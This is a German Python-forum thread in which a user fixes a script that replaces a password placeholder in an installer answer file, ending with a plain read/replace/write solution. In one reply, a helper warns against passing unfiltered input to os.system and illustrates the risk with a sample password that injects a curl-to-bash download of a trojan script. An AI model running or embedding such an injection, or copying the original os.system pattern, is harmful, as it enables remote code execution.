Seite 1 von 1
String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 01:32
von mimocloud
Moin.
Brauch mal eure Hilfe!
Habe folgende Zeile:
Code: Alles auswählen
changepass = "sed s/%PASSWORD/" + args.password + "/g" "+ args.source +"/autounattended.cfg +"")
os.system(changepass)
Der String %PASSWORD befindet sich in der Datei autounattended.cfg unter dem Ordner welcher durch args.source übergeben wurde beim Programmaufruf!
Ist das soweit richtig wie ich das geschrieben habe bzw. auch konform?
Ich habe bis dato eigentlich noch nichts mit dem zusammenbau von strings gemacht daher auch meine dumme Fragerei.
---Ich werde das Gefühl nicht los das dass was ich da geschrieben habe falsch ist!---
Oder doch lieber sowas hier:
Code: Alles auswählen
for line in f1:
if line.contains("%PASSWORD"):
newline = line.replace("%PASSWORD", args.password)
das funkt aber leider auch nicht so ganz!
Für Tipp & Lösungen danke im Voraus!
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 05:41
von Tengel
Ich würde mal sagen das dass replace so nicht funktioniert.
Du musst ja als ersten Parameter angeben welchen Teil du ersetzten möchtest.
Du hast als ersten Parameter aber die Variable angegeben.
z. B.
Code: Alles auswählen
>>> falsch = "Python ist nicht super!"
>>> richtig = falsch.replace("nicht", "richtig")
>>> print(richtig)
'Python ist richtig super!'
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 07:50
von Sirius3
Hallo mimocloud,
hast Du Dir schonmal ausgeben lassen, was in »changepass« tatsächlich steht. So wie Du es gepostet hast, kann es nämlich nicht sein, da Deine Anführungszeichen etwas durcheinander geraten sind.
Um das zu verhindern, baut man Strings auch nicht mit + zusammen, sondern benutzt format:
Zum Beispiel:
Code: Alles auswählen
changepass = "sed s/%PASSWORD/{password}/g {source}/autounattended.cfg".format(
password=args.password,
source=args.source)
Das größte Problem bei diesem Ansatz ist aber, dass Du ungefiltert Commandos ausführst.
Mein Passwort lautet »; curl http:/xy/trojaner.sh | bash ;« und schon werden Befehle ausgeführt, die Du so nie wolltest.
Deshalb nimmt man nicht »os.system« sondern das »subprocess« Modul.
Code: Alles auswählen
regexp = "s/%PASSWORD/{password}/g".format(password=re.escape(args.password))
filename = os.path.join(args.source, 'autounattended.cfg')
subprocess.Popen(["sed", regexp, filename]).wait()
Das »re.escape« ist noch dazu da, dass »password« auch Sonderzeichen enthalten darf.
Jetzt sollte »sed« nur noch wissen, was es mit der Ausgabe tun soll.
In Deinem Fall ist aber eine reine Pythonlösung wahrscheinlich besser.
Leider hilft Dein »das funkt aber leider auch nicht so ganz!« uns nicht weiter.
Was hast Du versucht (nicht nur die drei Zeilen, sondern die ganze Ersetzungsfunktion)?
Was erwartest Du? Was bekommst Du? Wie lautet die Fehlermeldung?
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 08:41
von BlackJack
@mimocloud: Ich habe die Quelltexte in Deinem Beitrag mal in Python-Code-Tags gesetzt, dann sieht man besser was im ersten Schnippsel innerhalb von Zeichenketten steht und was nicht. Diese Zeile kannst Du nicht exakt so in Deinem Programm haben, weil die wegen der Klammer am Ende syntaktisch falsch ist. Da steigt schon der Compiler aus, bevor das Programm ablaufen kann. Wenn man die Klammer entfernt, gibt es einen Laufzeitfehler, dass der Name `autounattended` nicht definiert ist.
Das zweite Beispiel würde mit einem Laufzeitfehler enden, weil Zeichenketten keine `contains()`-Methode besitzen. Diesen Test würde man mit dem ``in``-Operator machen. Er wäre an der Stelle aber auch überflüssig, denn wenn '%PASSWORD' nicht in der Zeile enthalten ist, dann würde der `replace()`-Aufruf die Zeile einfach unverändert zurück geben. Den Test vorher kann man sich also sparen.
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 13:03
von mimocloud
So ich will von ---BlackJack--- garnicht erst hören was ihm am code nicht passt. Es funktioniert soweit sehr GUT!
Code: Alles auswählen
import shutil
from tempfile import mktemp
import argparse
import os
import subprocess
import re
parser = argparse.ArgumentParser(description='Build ISO Image.') #Argumente umwandeln
parser.add_argument('--source', '-sr',
action='store',
help='Sourcepath -sr or --source')
parser.add_argument('--destination', '-dn',
action='store',
help='Targetpath -dn or --destination')
parser.add_argument('--password', '-pw',
action='store',
help='Root image password -pw or --password')
parser.add_argument('--networkmode', '-n',
action='store',
help='Networkmode -nm or --networkmode')
parser.add_argument('--ipadress', '-ip',
action='store',
help='Ipadress -ip or --ipadress')
parser.add_argument('--gateway', '-gw',
action='store',
help='Gateway -gw or --gateway')
parser.add_argument('--nameserver', '-ns',
action='store',
help='Nameserver -ns or --nameserver')
parser.add_argument('--netmask', '-nm',
action='store',
help='Netmask -nm or --netmask')
parser.add_argument('--hostename', '-hn',
action='store',
help='Hostname -hn or --hostname')
args = parser.parse_args()
final_path = mktemp(prefix='tmpiso_', dir=args.destination)
shutil.copytree(args.source, final_path)
regpass = "s/%PASSWORD/{password}/g".format(password=re.escape(args.password))
filename = os.path.join(final_path, 'autounattend.cfg')
subprocess.Popen(["sed", regpass, filename]).wait()
exit()
Ich will quasi das das die Datei >"autounattended.cfg"< welche das Word %PASSWORD enthält gegen die variable ausgetauscht wird, welche beim Programmaufruf durch -pw übergeben wird!
Derzeit erhalte ich von Ubuntu noch folgenden Fehler zurück:
"Die Shell gibt das ganze Dokument aus (Was ich hier jetzt nicht posten kann!)
und zeigt an das %PASSWORD durch meine -pw Angabe abgeändert wurde!...
Wenn ich jetzt in die Datei aber reingucke ist die Datei immer noch die gleiche wie zuvor, sprich %PASSWORD wurde nicht abgeändert!...
wie bring ich den dazu die Datei auf zu schreiben???"
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 13:47
von nomnom
mimocloud hat geschrieben:So ich will von ---BlackJack--- garnicht erst hören was ihm am code nicht passt. Es funktioniert soweit sehr GUT!
Erstens finde ich dein Verhalten ganz schön hochnäsig, zweitens funktioniert es doch offensichtlich gar nicht, das nennst du dann "GUT"?
Code: Alles auswählen
final_path = mktemp(prefix='tmpiso_', dir=args.destination)
# ...
filename = os.path.join(final_path, 'autounattend.cfg')
subprocess.Popen(["sed", regpass, filename]).wait()
Wenn ich jetzt in die Datei aber reingucke ist die Datei immer noch die gleiche wie zuvor, sprich %PASSWORD wurde nicht abgeändert!...
wie bring ich den dazu die Datei auf zu schreiben???"
Indem du die Datei veränderst, die du verändern willst, statt dies in irgendeinem temporären Ordner zu tun (wofür machst du das überhaupt?). Deinen "from tempfile import mktemp"-Import finde ich unschön, tempfile.mktemp ist doch auch nicht zu viel zu schreiben und außerdem sieht man auch daran, dass die Funktion aus dem tempfile-Modul stammt. Ansonsten solltest du dein Programm in Funktionen auslagern und das Programm, das ausgeführt werden soll, in eine eigene Funktion packen, die dann mit
startest.
Edit: Ich sehe gerade, dass "sed" nur die veränderte Datei auf stdout schickt, entweder du fängst stdout auf (subprocess.check_output) oder du machst es auf die elegantere Art und Weise, indem du das re-Modul bemühst.
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 14:22
von BlackJack
@nomnom: Da der zu ersetzende Wert fix ist, wäre `re` ein wenig übertrieben, IMHO.
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 14:26
von EyDu
mimocloud hat geschrieben:So ich will von ---BlackJack--- garnicht erst hören was ihm am code nicht passt. Es funktioniert soweit sehr GUT!
Starke Worte von jemandem, der es nicht schafft seinen Code in Codetags zu packen, obwohl Einrückung ein entscheidender Faktor bei Python ist, mit sr und dn sehr unübliche Abkürzkungen benutzt, nicht in der Lage ist "address" richtig zu schreiben, Hilfetexte ohne zusätzliche Information schreibt, mktemp benutzt um Ordner zu erstellen, keine Konstanten verwendet und ein sinnloses exit verwendet.
Wie willst du denn sonst lernen vernünftigen Code zu produzieren, wenn dir keiner sagt was du falsch machst?
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 14:30
von nomnom
BlackJack hat geschrieben:@nomnom: Da der zu ersetzende Wert fix ist, wäre `re` ein wenig übertrieben, IMHO.
Ah, ich dachte, "%" hätte bei sed eine besondere Bedeutung. Dann kann man natürlich auch gleich
str.replace benutzen. Oder evtl. eine Template-Sprache, aber das wäre nur für %PASSWORD wahrscheinlich auch Overkill (wenn
re schon übertrieben ist …

).
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 15:37
von mimocloud
Soso

Ich meinte auch eigentlich nur das dieser Teil des Programm nicht funkt! Was genau das mit mktemp soll und wieso und warum ist meine Sache!
Ich benötige jetzt eure Hilfe für diesem Programmteil ganz unten in welchem das %PASSWORD ersetzt werden soll!
Ich bin für jede Hilfe sehr dankbar aber können wir endlich mal aufhören darüber zu labern wer was wo an dem code besser gemacht hätte.
!Das dient nicht der Problemlösung!
Mein Script läuft so und gut ist. Nur ich bekomme den String nicht ganz zusammen also wer helfen kann... Würde mich sehr freuen!
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 18:31
von snafu
@mimocloud: Wie schon gesagt wurde: `sed` schreibt standardmäßig seine Ausgabe in STDOUT (in der Regel dein Terminal). Wenn du willst, dass die Veränderung direkt in die Datei geschrieben wird, dann musst du `--inplace` bzw `-i` (abgekürzte Schreibweise) als zusätzliches Argument mitgeben.
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 18:54
von nomnom
Kann das denn so schwer sein?
Code: Alles auswählen
with open('autounattended.cfg') as f:
# ich gehe mal davon aus, dass deine .cfg-Datei nicht größer
# als ein paar kB ist. sollte sie mehrere GB groß sein, müsste
# man sich wohl etwas effizienteres überlegen ;)
processed_content = f.read().replace('%PASSWORD', args.password)
with open('wodushinhabenwillst', 'w') as f:
f.write(processed_content)
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 20:47
von mimocloud
Hey danke erstmal für deine Antwort!
Wie bekomme ich den pfad da noch mit rein?
Derzeit liegt die Datei ja in dem Ordner welcher von mktemp erstellt wird!
Daher bekomme ich immer noch einen fehler zurück:
Code: Alles auswählen
Traceback (most recent call last):
File "imagebuilder_linux.py", line 51, in <module>
with open('autounattended.cfg') as f:
IOError: [Errno 2] No such file or directory: 'autounattended.cfg'
Das war ja auch mein Ursprüngliches Problem... Es muss ja der Pfad "final_path" übergeben werden!
Oder könnte ich jetzt das hier anwenden:
Code: Alles auswählen
filename = os.path.join(final_path, 'autounattend.cfg')
Ja ich weiß ich bin kein PRO

Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 22:22
von nomnom
mimocloud hat geschrieben:Oder könnte ich jetzt das hier anwenden:
Code: Alles auswählen
filename = os.path.join(final_path, 'autounattend.cfg')
Probier's doch einfach aus.
Hint: Es funktioniert
Auch wenn ich immer noch nicht verstehe, warum du dafür einen temporären Ordner anlegt, aber das scheint uns ja nichts anzugehen, hinterher könnten wir ja noch Verbesserungsvorschläge machen.
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 22:31
von mimocloud
Also ich kann es dir gerne sagen.
Ich erstelle ne ISO damit welche Einstellungen hat wie password, ip Adresse etc. Diese Datei ist eine Antwort Datei für eine Ubuntu Installation oder centos oder windows server. das ist alles!
Ich kopier alles nur aus einem Ordner in einen TEMP ordner damit ich niemals die reinen Quelldateien anpacke!
Mein code sieht jetzt so aus und immer bekomm ich noch einen FEHLER Grrr. ich hasse mich:
Code: Alles auswählen
# Copyright by Robin van der Linden
import shutil
from tempfile import mktemp
import argparse
import os
import subprocess
import re
parser = argparse.ArgumentParser(description='Build Cloud iso Image.') #Argumente umwandeln
parser.add_argument('--source', '-sr',
action='store',
help='Sourcepath -sr or --source')
parser.add_argument('--destination', '-dn',
action='store',
help='Targetpath -dn or --destination')
parser.add_argument('--password', '-pw',
action='store',
help='Root image password -pw or --password')
parser.add_argument('--networkmode', '-n',
action='store',
help='Networkmode -nm or --networkmode')
parser.add_argument('--ipadress', '-ip',
action='store',
help='Ipadress -ip or --ipadress')
parser.add_argument('--gateway', '-gw',
action='store',
help='Gateway -gw or --gateway')
parser.add_argument('--nameserver', '-ns',
action='store',
help='Nameserver -ns or --nameserver')
parser.add_argument('--netmask', '-nm',
action='store',
help='Netmask -nm or --netmask')
parser.add_argument('--hostename', '-hn',
action='store',
help='Hostname -hn or --hostname')
args = parser.parse_args()
final_path = mktemp(prefix='tmpiso_', dir=args.destination)
shutil.copytree(args.source, final_path)
passedit = os.path.join(final_path, 'autounattend.cfg')
processed_content_pass = passedit.read().replace('%PASSWORD', args.password)
processed_content_pass.write(processed_content_pass)
exit()
Fehler:
Code: Alles auswählen
Traceback (most recent call last):
File "imagebuilder_linux.py", line 51, in <module>
processed_content_pass = passedit.read().replace('%PASSWORD', args.password)
AttributeError: 'str' object has no attribute 'read'
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 22:55
von cofi
Dann benutze doch auch das, was nomnom vorgeschlagen hat.
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 22:58
von mimocloud
HALT STOP ich habs
so hier der Code

:
Code: Alles auswählen
# Copyright by Robin van der Linden
import shutil
from tempfile import mktemp
import argparse
import os
import subprocess
import re
parser = argparse.ArgumentParser(description='Build Cloud iso Image.') #Argumente umwandeln
parser.add_argument('--source', '-sr',
action='store',
help='Sourcepath -sr or --source')
parser.add_argument('--destination', '-dn',
action='store',
help='Targetpath -dn or --destination')
parser.add_argument('--password', '-pw',
action='store',
help='Root image password -pw or --password')
parser.add_argument('--networkmode', '-n',
action='store',
help='Networkmode -nm or --networkmode')
parser.add_argument('--ipadress', '-ip',
action='store',
help='Ipadress -ip or --ipadress')
parser.add_argument('--gateway', '-gw',
action='store',
help='Gateway -gw or --gateway')
parser.add_argument('--nameserver', '-ns',
action='store',
help='Nameserver -ns or --nameserver')
parser.add_argument('--netmask', '-nm',
action='store',
help='Netmask -nm or --netmask')
parser.add_argument('--hostename', '-hn',
action='store',
help='Hostname -hn or --hostname')
args = parser.parse_args()
final_path = mktemp(prefix='tmpiso_', dir=args.destination)
shutil.copytree(args.source, final_path)
passedit = os.path.join(final_path, 'autounattend.cfg')
s = open(passedit).read()
s = s.replace("%PASSWORD", args.password)
f = open(passedit, 'w')
f.write(s)
f.close()
exit()
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 23:09
von cofi
Und jetzt benutze was nomnom vorgeschlagen hat, dann werden sogar alle Dateien sauber geschlossen.
Re: String os.system zusammenbauen
Verfasst: Sonntag 5. Mai 2013, 23:38
von mimocloud
So läuft thx @ all und auch an Blackjack! sry hatte miese laune